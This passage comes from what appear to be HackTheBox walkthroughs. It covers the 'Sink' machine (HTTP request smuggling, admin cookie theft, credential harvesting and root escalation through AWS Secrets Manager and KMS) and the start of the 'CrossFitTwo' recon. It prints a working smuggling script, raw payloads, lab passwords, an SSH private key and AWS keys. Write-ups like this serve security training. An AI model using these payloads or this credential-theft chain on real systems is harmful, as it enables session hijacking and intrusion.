Cookie: i_like_gitea=5d0c89ebb9c9350c; session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30; lang=en-US; _csrf=ARiCvID_5zGN4pUVNaXF6jI97Uo6MTYxOTMyOTQ5NDc2NjE5Mzc1NQ; redirect_to=%2FSink_Solutions
Content-Length: 283
Transfer-Encoding:
                  chunked

0

POST /notes HTTP/1.1
Cookie: i_like_gitea=5d0c89ebb9c9350c; session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30; lang=en-US; _csrf=ARiCvID_5zGN4pUVNaXF6jI97Uo6MTYxOTMyOTQ5NDc2NjE5Mzc1NQ; redirect_to=%2FSink_Solutions
Content-Length: 300

note=ggwp GET /notes/delete/1234 HTTP/1.1 
Host: 127.0.0.1:8080 
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 
Accept-Encoding: gzip, deflate Accept: */* 
Cookie: session=eyJlbWFpbCI6ImFkbWluQHNpbmsuaHRiIn0.YIT8fQ.GIZT2JXeOzrLzDmv2sOiCpi_Gds 
X-Forwarded-For: 127.0

0

```

A session cookie was leaked and maybe could now be used to read another user’s saved notes.

```http
Cookie: session=eyJlbWFpbCI6ImFkbWluQHNpbmsuaHRiIn0.YIT8fQ.GIZT2JXeOzrLzDmv2sOiCpi_Gds 
```

Using the session cookie to access the service reveals that the cookie belongs to <admin@sink.htb> and the notes previously found while fuzzing are now readable.

![](https://lh4.googleusercontent.com/Idan0NEu4PG5Kp0A7Q_QwYb5TUUPJv2FCV3k4PYe07lVKOmaa5_9bchZ_eqK9Bgw9Yg0XLlX6Axa19H9dGQkVqY-ove9nqRSSdZVST-zFxJvoIHtkyYU9gbhuiUXxiHDbmJh1s74=s0)

The exploit for triggering the HTTP Desync was automated using this python script:

```python
import socket

headers = ""
headers += "Cookie: i_like_gitea=5d0c89ebb9c9350c; session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30; lang=en-US; _csrf=ARiCvID_5zGN4pUVNaXF6jI97Uo6MTYxOTMyOTQ5NDc2NjE5Mzc1NQ; redirect_to=%2FSink_Solutions\r\n"

smuggle = "POST /notes HTTP/1.1\r\n"
smuggle += headers
smuggle += "Content-Length: 300\r\n"
smuggle += "\r\n"
smuggle += "note=ggwp "

payload = "A"
chunk = ""
#chunk += "{}\r\n".format(len(payload))
#chunk += "{}\r\n".format(payload)
chunk += "0\r\n\r\n"

request = "GET /home HTTP/1.1\r\n"
request += headers
request += "Content-Length: {}\r\n".format(len(smuggle) + len(chunk))
request += "Transfer-Encoding:\x0bchunked\r\n"
request += "\r\n"
request += chunk
request += smuggle
print(request)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.10.225" , 5000))
s.sendall(request.encode())

print("\n=============\n")

res = s.recv(4096)
print(res.split("<!DOCTYPE")[0])

s.close()
```

Now, viewing the notes saved in the admin user account, credentials for various services are leaked.:

```
# http://10.10.10.225:5000/notes/1
Chef Login : http://chef.sink.htb Username : chefadm Password : /6'fEGC&zEx{4]zz

# http://10.10.10.225:5000/notes/2
Dev Node URL : http://code.sink.htb Username : root Password : FaH@3L>Z3})zzfQ3

# http://10.10.10.225:5000/notes/3
Nagios URL : https://nagios.sink.htb Username : nagios_adm Password : g8<H6GK\{*L.fB3C
```

There is a root user for the Gitea service, maybe this is the credentials for the user given that it is for code.sink.htb.

## PART 4 : USER SHELL (marcus)

### 4.1 EC2 INFORMATION

Logging in using the credentials, **`root:FaH@3L>Z3})zzfQ3`**, the following repositories become available:

![](https://lh4.googleusercontent.com/55BHbvIRW398P1_H6F2rr2tCXwImzhBPrybG9KBr5oPCAiroKG098oMc4G7M3-ite-hNTGH5KsrGom3fTTXYrfiUrzLp6iVqegIo1AFt-Q1-Zm1Vc8ZfJQ_uBU44y1hEirPOeT0p=s0)

The **Key\_Management** repo has been archived and upon viewing, there has been 8/9 commits by **marcus**:&#x20;

![](https://lh5.googleusercontent.com/Ou1WhZuw6w_FgqzhU2T8wPQyHVA_dWPbrcwNSP-idHDwSlbGUgd09OfALiYcIqhYY-_-T16w1hXpYVsnM_YBBItxTl7I2sWWdEfxDTBorZ3feSAoD7X8iW6cbIBnz7qtWBmrJngM=s0)

The commit history highly suggests deployments in AWS. The commit with the message, “**Adding EC2 Key Management Structure**”, seems promising. And in there, an SSH private key is added to the repository as well as various configurations for an EC2 Client.

![](https://lh4.googleusercontent.com/YxCLra4OYbZ5SXkMAAXf2H9Qzx_8Tn1xXEUDBXWMc_p29GPhDWGdPnVY-ai2fCUsgE87nxdsKtCzMOipwlHND18Wf_ixAG-ukxgkcxOtNMadLa5Don7y0VpjJcMeYk4TuXPRTUTH=s0)

The **dev\_keys** file:

```
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
```

There seems to be an EC2 instance deployed in the region, **eu**, and could be reached via **http\[://]127.0.0.1:4566** based on the **ec2.php** file.

```php
[..omitted..]

$ec2Client = new Aws\Ec2\Ec2Client([
    'region' => 'eu',
    'version' => '2020-12-21',
    'profile' => 'default',
    'endpoint' => 'http://127.0.0.1:4566'
]);

[..omitted..]
```

### 4.2 SSH SESSION

As the git commit was done by the user, marcus, this must be his own private key. Saving the key into a file and using it to login via SSH:

```shell-session
$ chmod 400 id_rsa

$ ssh -i id_rsa -l marcus 10.10.10.225
```

The login was successful:

```shell-session
marcus@sink:~$ id

  uid=1001(marcus) gid=1001(marcus) groups=1001(marcus)

marcus@sink:~$ ls -l

  total 4
  -r-------- 1 marcus marcus 33 Apr 25 05:21 user.txt

marcus@sink:~$ cat /etc/passwd | grep sh$

  root:x:0:0:root:/root:/bin/bash
  gitlab-psql:x:994:995::/var/opt/gitlab/postgresql:/bin/sh
  gitlab-prometheus:x:993:994::/var/opt/gitlab/prometheus:/bin/sh
  marcus:x:1001:1001:,,,:/home/marcus:/bin/bash
  david:x:1000:1000:,,,:/home/david:/bin/bash
  git:x:115:123:Git Version Control,,,:/home/git:/bin/bash

marcus@sink:~$ ls -l /home/david

  total 4
  drwxr-x--- 3 david david 4096 Dec  2 12:28 Projects
```

There seems to be another user, **david**, inside the machine. And his home directory seems to be readable. There is a directory, **`Projects`**, however that is protected. This might be interesting.

## PART 5 : PIVOT (marcus -> david)

### 5.1 AWS CONFIGURE

Checking to see if port 4566 is listening inside the machine:

```shell-session
marcus@sink:~$ netstat -plnt | grep “4566”

  tcp        0      0 127.0.0.1:4566          0.0.0.0:*               LISTEN      -
```

And when you check the AWS running services’ health using the endpoint URL, **http\[://]127.0.0.1:4566**:

```shell-session
marcus@sink:~$ curl http://127.0.0.1:4566/health

  {"services": {"kms": "running", "logs": "running", "secretsmanager": "running"}}
```

There are three services running - **kms**, **logs**, and **secretsmanager**. In order to access these services via the aws-cli, we need an **AWS Access Key ID** and an **AWS Secret Access Key**. Looking back into the repositories in **Gitea**, there was a **Log\_Management** repo and given that a “**logs**” service is running, there might be something interesting there.

![](https://lh4.googleusercontent.com/Y8flWMvHYLo-WASpuuw4LaDmLhuUU4d0AeswUdhi1z9BRQ9DcwYZpzKtA0HEfzMEvZQ16cudsEDpFiItinPdlWB0nE8MnN8JVE86j4harPbKR_sreWxec1_faUhuT_hFqRFJDWNN=s0)

In the last commit, “**Preparing for prod**”, the **AWS Access Key ID** and an **AWS Secret Access Key** were deleted from the **create\_logs.php** file:

![](https://lh4.googleusercontent.com/-6gf3NZozDqCdQDrT6EVenhkAN8sg_2RcC6B2j2brNHcRhayWSKQzag3zKNUsKmYYOblKjwTQX3Atig3FnMvyCYgC4O6yPF9-7H9S7cpxauS1CyOIcq535PKOrAFm-hVEPKA_dek=s0)

Which gives us the following:

```
AWS Access Key ID    : AKIAIUEN3QWCPSTEITJQ
AWS Secret Access Key: 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
```

We can now run **`aws configure`** in order to access the running services:

```shell-session
marcus@sink:~$ aws configure

  AWS Access Key ID [None]: AKIAIUEN3QWCPSTEITJQ
  AWS Secret Access Key [None]: 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
  Default region name [None]: eu
  Default output format [None]:
```

### 5.2 SECRETSMANAGER

Enumerating the **secretsmanager** service to see if there are anything interesting:

```shell-session
marcus@sink:~$ aws secretsmanager list-secrets --endpoint-url http://127.0.0.1:4566

  {
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-ePSxN",
            "Name": "Jenkins Login",
            "Description": "Master Server to manage release cycle 1",
            [..omitted..]
            }
        },
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-inxLk",
            "Name": "Sink Panel",
            "Description": "A panel to manage the resources in the devnode",
            [..omitted..]
            }
        },
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-dgnlR",
            "Name": "Jira Support",
            "Description": "Manage customer issues",
            [..omitted..]
            }
        }
    ]
  }
```

There were three secrets available in the **secretsmanager** service. Extracting their respective values:

```shell-session
marcus@sink:~$ aws secretsmanager get-secret-value --secret-id "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-cPCXi" --endpoint-url http://127.0.0.1:4566

  {
    [..omitted..]
    "SecretString": "{\"username\":\"john@sink.htb\",\"password\":\"R);\\)ShS99mZ~8j\"}",
    [..omitted..]
  }

marcus@sink:~$ aws secretsmanager get-secret-value --secret-id "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-MZKWb" --endpoint-url http://127.0.0.1:4566

  {
    [..omitted..]
    "SecretString": "{\"username\":\"albert@sink.htb\",\"password\":\"Welcome123!\"}",
    [..omitted..]
  }

marcus@sink:~$ aws secretsmanager get-secret-value --secret-id "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-dgnlR" --endpoint-url http://127.0.0.1:4566

  {
    [..omitted..]
    "SecretString": "{\"username\":\"david@sink.htb\",\"password\":\"EALB=bcC=`a7f2#k\"}",
    [..omitted..]
  }
```

Credentials from three users were leaked from the **secretsmanager** service. More importantly, one of them was for the user, **david** (**``david:EALB=bcC=`a7f2#k``**).

```shell-session
marcus@sink:~$ su david
  
  Password: EALB=bcC=`a7f2#k

david@sink:/home/marcus$ id

  uid=1000(david) gid=1000(david) groups=1000(david)
```

## PART 6 : PRIVILEGE ESCALATION (david -> root)

### 6.1 PORT FORWARD -- 4566

Now that we have a shell as the user, **david**, the Projects directory should now be accessible wherein an encrypted file, **servers.enc**, is stored:

```shell-session
david@sink:~$ ls -l Projects

  total 4
  drwxrwx--- 2 david david 4096 Feb  1 09:43 Prod_Deployment

david@sink:~$ ls -l Projects/Prod_Deployment/

  total 4
  -rw-r----- 1 david david 512 Feb  1 09:43 servers.enc

david@sink:~$ file Projects/Prod_Deployment/servers.enc

  Projects/Prod_Deployment/servers.enc: data
```

Looking back again into the running services accessible via **<http://127.0.0.1:4566>**, one of them was **kms** which stands for **Key Management Service** for AWS. It might have been used to encrypt the file. To make things easier, I forwarded the service running on port 4566 to my local machine:

```shell-session
$ ssh -i id_rsa -l marcus -L 4566:127.0.0.1:4566 10.10.10.225

marcus@sink:~$ su david
  
  Password: EALB=bcC=`a7f2#k

david@sink:/home/marcus$
```

### 6.2 KMS ENUMERATION

Enumerating this time the said service after running **`aws configure`** again:

```shell-session
$ aws kms list-keys --endpoint-url http://127.0.0.1:4566 | jq -r '.Keys[].KeyId'

  0b539917-5eff-45b2-9fa1-e13f0d2c42ac
  16754494-4333-4f77-ad4c-d0b73d799939
  2378914f-ea22-47af-8b0c-8252ef09cd5f
  2bf9c582-eed7-482f-bfb6-2e4e7eb88b78
  53bb45ef-bf96-47b2-a423-74d9b89a297a
  804125db-bdf1-465a-a058-07fc87c0fad0
  837a2f6e-e64c-45bc-a7aa-efa56a550401
  881df7e3-fb6f-4c7b-9195-7f210e79e525
  c5217c17-5675-42f7-a6ec-b5aa9b9dbbde
  f0579746-10c3-4fd1-b2ab-f312a5a0f3fc
  f2358fef-e813-4c59-87c8-70e50f6d4f70

$ aws kms list-keys --endpoint-url http://127.0.0.1:4566 | jq -r '.Keys[].KeyId' > key_ids
```

I took all the **`KeyId`** values from the output of list-keys which I will then iterate through to get their individual descriptions:

```bash
$ for i in $(cat kms_ids); do aws kms describe-key --key-id $i --endpoint-url http://127.0.0.1:4566 | jq -c '.KeyMetadata | {"KeyId": .KeyId, "Description": .Description, "KeyState": .KeyState, "EncryptionAlgorithms": .EncryptionAlgorithms}'; done > key_descriptions
```

There were multiple keys but only a handful were enabled and only one could be used for encryption or decryption -- **`804125db-bdf1-465a-a058-07fc87c0fad0`**:

```shell-session
$ cat key_descriptions | grep Enabled | jq

  {
    "KeyId": "804125db-bdf1-465a-a058-07fc87c0fad0",
    "Description": "Encryption and Decryption",
    "KeyState": "Enabled",
    "EncryptionAlgorithms": [
    "RSAES_OAEP_SHA_1",
    "RSAES_OAEP_SHA_256"
    ]
  }
  {
    "KeyId": "c5217c17-5675-42f7-a6ec-b5aa9b9dbbde",
    "Description": "Digital Signature Verification",
    "KeyState": "Enabled",
    "EncryptionAlgorithms": null
  }
```

### 6.3 KMS DECRYPT

Going back to the shell running as the user, **david**, to attempt to decrypt the **server.enc** file:

```shell-session
david@sink:~/Projects/Prod_Deployment$ aws kms decrypt --ciphertext-blob fileb://servers.enc --key-id "804125db-bdf1-465a-a058-07fc87c0fad0" --encryption-algorithm RSAES_OAEP_SHA_256 --endpoint-url http://127.0.0.1:4566 --query Plaintext
  
  "H4sIAAAAAAAAAytOLSpLLSrWq8zNYaAVMAACMxMTMA0E6LSBkaExg6GxubmJqbmxqZkxg4GhkYGhAYOCAc1chARKi0sSixQUGIry80vwqSMkP0RBMTj+rbgUFHIyi0tS8xJTUoqsFJSUgAIF+UUlVgoWBkBmRn5xSTFIkYKCrkJyalFJsV5xZl62XkZJElSwLLE0pwQhmJKaBhIoLYaYnZeYm2qlkJiSm5kHMjixuNhKIb40tSqlNFDRNdLU0SMt1YhroINiRIJiaP4vzkynmR2E878hLP+bGALZBoaG5qamo/mfHsCgsY3JUVnT6ra3Ea8jq+qJhVuVUw32RXC+5E7RteNPdm7ff712xavQy6bsqbYZO3alZbyJ22V5nP/XtANG+iunh08t2GdR9vUKk2ON1IfdsSs864IuWBr95xPdoDtL9cA+janZtRmJyt8crn9a5V7e9aXp1BcO7bfCFyZ0v1w6a8vLAw7OG9crNK/RWukXUDTQATEKRsEoGAWjYBSMglEwCkbBKBgFo2AUjIJRMApGwSgYBaNgFIyCUTAKRsEoGAWjYBSMglEwRAEATgL7TAAoAAA="
```

The contents are still gibberish but when you check what kind of output was generated, the file turned to be a gzip compressed data. Using **`zcat`** to view the contents:

```shell-session
david@sink:~/Projects/Prod_Deployment$ echo H4sIAAAAAAAAAytOLSpLLSrWq8zNYaAVMAACMxMTMA0E6LSBkaExg6GxubmJqbmxqZkxg4GhkYGhAYOCAc1chARKi0sSixQUGIry80vwqSMkP0RBMTj+rbgUFHIyi0tS8xJTUoqsFJSUgAIF+UUlVgoWBkBmRn5xSTFIkYKCrkJyalFJsV5xZl62XkZJElSwLLE0pwQhmJKaBhIoLYaYnZeYm2qlkJiSm5kHMjixuNhKIb40tSqlNFDRNdLU0SMt1YhroINiRIJiaP4vzkynmR2E878hLP+bGALZBoaG5qamo/mfHsCgsY3JUVnT6ra3Ea8jq+qJhVuVUw32RXC+5E7RteNPdm7ff712xavQy6bsqbYZO3alZbyJ22V5nP/XtANG+iunh08t2GdR9vUKk2ON1IfdsSs864IuWBr95xPdoDtL9cA+janZtRmJyt8crn9a5V7e9aXp1BcO7bfCFyZ0v1w6a8vLAw7OG9crNK/RWukXUDTQATEKRsEoGAWjYBSMglEwCkbBKBgFo2AUjIJRMApGwSgYBaNgFIyCUTAKRsEoGAWjYBSMglEwRAEATgL7TAAoAAA= | base64 -d > servers

david@sink:~/Projects/Prod_Deployment$ file servers

  servers: gzip compressed data, from Unix, original size modulo 2^32 10240

david@sink:~/Projects/Prod_Deployment$ zcat servers

  servers.yml0000644000000000000000000000021313774573563012010 0ustar  rootrootserver:
    listenaddr: ""
    port: 80
    hosts:
    - certs.sink.htb
    - vault.sink.htb
    defaultuser:
      name: admin
      pass: _uezduQ!EY5AHfe2
  [..omitted..]
```

Trying to use the credentials when switching user to root:

```shell-session
david@sink:~/Projects/Prod_Deployment$ su -

  Password: _uezduQ!EY5AHfe2

root@sink:~# id
 
  uid=0(root) gid=0(root) groups=0(root)

root@sink:~# ls -l root.txt

  -r-------- 1 root root 33 Apr 25 05:21 root.txt
```


# HTB CrossFitTwo

10.10.10.232 | 50 pts

## PART 1 : INITIAL RECON

### 1.1 MACHINE INFORMATION

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-Mh3ue_BZgiOgYyDZD53%2F-Mh4SrO6nmqg1eWjII1z%2Fimage.png?alt=media\&token=34280569-8097-418a-92d5-0d869fd42f0a)

### 1.2 NMAP SCAN

```bash
$ nmap --min-rate 3000 -oN nmap-tcp.initial -p- -Pn -T4 -v 10.10.10.232

  PORT     STATE SERVICE
  22/tcp   open  ssh
  80/tcp   open  http
  8953/tcp open  ub-dns-control

$ nmap -oN nmap-tcp -p 22,80,8953 -sC -sV -v 10.10.10.232

  PORT     STATE SERVICE             VERSION
  22/tcp   open  ssh                 OpenSSH 8.4 (protocol 2.0)
  | ssh-hostkey:
  |   3072 35:0a:81:06:de:be:8c:d8:d7:27:66:db:96:94:fd:52 (RSA)
  |   256 94:60:55:35:9a:1a:a8:45:a1:ae:19:cd:61:05:ec:3f (ECDSA)
  |_  256 a2:c8:6b:6e:11:b6:70:69:db:d2:60:2e:2f:d1:2f:ab (ED25519)
  80/tcp   open  http                (PHP 7.4.12)
  | fingerprint-strings:
  |   GetRequest, HTTPOptions:
  |     HTTP/1.0 200 OK
  |     Connection: close
  |     Connection: close
  |     Content-type: text/html; charset=UTF-8
  |     Date: Sat, 17 Apr 2021 06:38:35 GMT
  |     Server: OpenBSD httpd
  |     X-Powered-By: PHP/7.4.12
  |     <!DOCTYPE html>
  |     <html lang="zxx">
  |     <head>
  |     <meta charset="UTF-8">
  |     <meta name="description" content="Yoga StudioCrossFit">
  |     <meta name="keywords" content="Yoga, unica, creative, html">
  |     <meta name="viewport" content="width=device-width, initial-scale=1.0">
  |     <meta http-equiv="X-UA-Compatible" content="ie=edge">
  |    <title>CrossFit</title>
  |     <!-- Google Font -->
  |     <link href="https://fonts.googleapis.com/css?family=PT+Sans:400,700&display=swap" rel="stylesheet">
  |     <link href="https://fonts.googleapis.com/css?family=Oswald:400,500,600,700&display=swap" rel="stylesheet">
  |     <!-- Css Styles -->
  |     <link rel="stylesheet" href="css/bootstrap.min.css" type="text/css">
  |_    <link rel="styleshe
  | http-methods:
  |_  Supported Methods: GET HEAD POST OPTIONS
  |_http-server-header: OpenBSD httpd
  |_http-title: CrossFit
  8953/tcp open  ssl/ub-dns-control?
  | ssl-cert: Subject: commonName=unbound
  | Issuer: commonName=unbound
  | Public Key type: rsa
  | Public Key bits: 3072
  | Signature Algorithm: sha256WithRSAEncryption
  | Not valid before: 2021-01-11T07:01:10
  | Not valid after:  2040-09-28T07:01:10
  | MD5:   efdc 4f2c 5d7e 63c0 3995 4c27 c285 9985
  |_SHA-1: 1c66 9cc5 8b72 5c95 d730 0862 4d86 84d7 8a09 1d9b
```

## PART 2 : PORT ENUMERATION

### 2.1 TCP PORT 22 (OpenSSH)

The SSH client supports authentication using a **password** for regular users:

```bash
$ ssh -l test 10.10.10.232

  test@10.10.10.225's password:
  Permission denied, please try again.
  test@10.10.10.232's password:
  Permission denied, please try again.
  test@10.10.10.232's password:
  test@10.10.10.232: Permission denied (password).
```

### 2.2 TCP PORT 80 (HTTP)

Opening the service via a web browser brings you to:

![](https://lh5.googleusercontent.com/ZD7z5Ye0IaJIVOUFJWhoviOim1qBX8012ryl4yrnc2Vz0rBDfW4POcK-6qNcUqgpE3gwEAFlIZcaLCecT64xcYCC175uDYzAk8xWZ7RqpiXcpXztlxCli-9JAR2HvLGr0FdyMin_)

A subdomain is found among the links within the landing page:&#x20;

```bash
$ curl --silent http://10.10.10.232 | grep -E "<a.*href" | sed -E 's/.*href=(".*").*/\1/g' | cut -d'"' -f2 | grep -v -E "#|https"

  ./index.php
  ./index.php
  ./about-us.php
  ./classes.php
  ./blog.php
  ./contact.php
  http://employees.crossfit.htb
```

Updating the /etc/hosts file to be able to resolve the new finding:

```bash
$ cat /etc/hosts | grep 10.10.10.232 
                                                                                            
  10.10.10.232    employees.crossfit.htb crossfit.htb
```

Now, going to <http://employees.crossfit.htb>, it leads you to a login page:

![](https://lh3.googleusercontent.com/rILon1X25BAB5I0ZBmbIk_Ut-BMe2lLkHPXvsDeIzDiu9mE5MjvpktOYUVm1oQG0-YqrCZjcwH4IU4pXUOAxUW6vCLyJCYR0hx9FIVEwjtXYlWn-JQ42ldiDgquJCgay_gtIWJS8)

Within the login page is a link to “Forgot Password?”. It rejects unregistered email addresses. This might be something to work on later in the machine:

![](https://lh4.googleusercontent.com/prpBwhTn83EuQW4flyKp6JOsChGxEbvug6fbqaaTTntKS5sIQpGN6LWJmSYd05QbKNsLBSrG7cX-a6G8E5rG08FoqYOXVOkjxhrjLrcS_gEC8hmF5hk8_9qdPye8KKFeu5pESl6C)

Going back to the main site (10.10.10.232 or crossfit.htb) then running `gobuster` to look for other directories or files that weren’t previously seen. Non-existent pages are tagged as 403 (Forbidden) so I filtered them out during this run:

```bash
$ gobuster dir -b 403,404 -o 80_gobuster.txt -u http://10.10.10.232 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

  /images               (Status: 301) [Size: 510] [--> http://10.10.10.232/images/]
  /index.php            (Status: 200) [Size: 19041]
  /contact.php          (Status: 200) [Size: 8007]
  /img                  (Status: 301) [Size: 510] [--> http://10.10.10.232/img/]
  /blog.php             (Status: 200) [Size: 15369]
  /css                  (Status: 301) [Size: 510] [--> http://10.10.10.232/css/]
  [ERROR] 2021/04/17 22:31:22 [!] Get "http://10.10.10.232/ws": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
  /js                   (Status: 301) [Size: 510] [--> http://10.10.10.232/js/]
  /about-us.php         (Status: 200) [Size: 15733]
  /classes.php          (Status: 200) [Size: 25946]
  /vendor               (Status: 301) [Size: 510] [--> http://10.10.10.232/vendor/]
  /elements.php         (Status: 200) [Size: 19654]
  /fonts                (Status: 301) [Size: 510] [--> http://10.10.10.232/fonts/]
```

The path `/ws` seems to exist but it always times out when requested. This might be shorthand for **websockets**. This will be explored later on:

```bash
$ curl -I http://10.10.10.232/ws 
                                                                                   
  curl: (52) Empty reply from server
```

### 2.3 TCP PORT 8953 (Unbound Control DNS)

This service could be used to query/configure various things DNS-related but it is running with SSL and no valid certificate has been found as of yet:

```bash
$ unbound-control -s 10.10.10.232@8953 status 
                                                                                   
  error: Error setting up SSL_CTX client cert
  /etc/unbound/unbound_control.pem: Permission denied
```

## PART 3: EXPLOITATION

### 3.1 CONNECTING TO /ws

Creating a simple python script to check if /ws is a websocket and if it’s possible to connect:

```python
import asyncio
import json as j
import websockets as ws

async def request(target, message):
   async with ws.connect(target) as websocket:
        req = await websocket.send(message)          
        res = await websocket.recv()
        return j.loads(res)

def main():
    target = "ws://crossfit.htb/ws"
    message = input("> ")
    res = asyncio.get_event_loop().run_until_complete(request(target, message))
    print(j.dumps(res,indent=4))

if __name__ == "__main__": main()
```

Running this script to check how the server will respond:

```bash
$ python3 ws.py 
                                                                                   
  > something
  {
    "status": "200",
    "message": "Hello! This is Arnold, your assistant. Type 'help' to see available commands.",
    "token": "b5cb1143b0c81267c82042790efd1daf0f5c0fe95837dfac3c2b75dcea4f7b1c"
  }

$ python3 ws.py 
                                                                                   
  > help
  {
    "status": "200",
    "message": "Hello! This is Arnold, your assistant. Type 'help' to see available commands.",
    "token": "c28f5c5760ca525ad42c7b092dcf7526441b403769e6f0cca622c5774631a610"
  }
```

The server is actually running a websocket on `/ws`. There is a token and it seems like in order to submit an actual command like **“help”**, a valid token is required so I modified the script to take the token generated from an initial request to check for reuse and pass it along with the submitted command:

```python
import asyncio
import json as j
import websockets as ws

async def request(target, message):
   async with ws.connect(target) as websocket:
       req = await websocket.send("init")
        token = j.loads(await websocket.recv())["token"]
       req_json = j.dumps({
            "message": message,
            "token": token
        })
        req = await websocket.send(req_json)          
        res = await websocket.recv()
        return j.loads(res)

def main():
    target = "ws://crossfit.htb/ws"
    message = input("> ")
    res = asyncio.get_event_loop().run_until_complete(request(target, message))
    print(j.dumps(res,indent=4))

if __name__ == "__main__": main()
```

Running the script again to check if token is valid:

```bash
$ python3 ws.py 
                                                                                   
  > help
  {
    "status": "200",
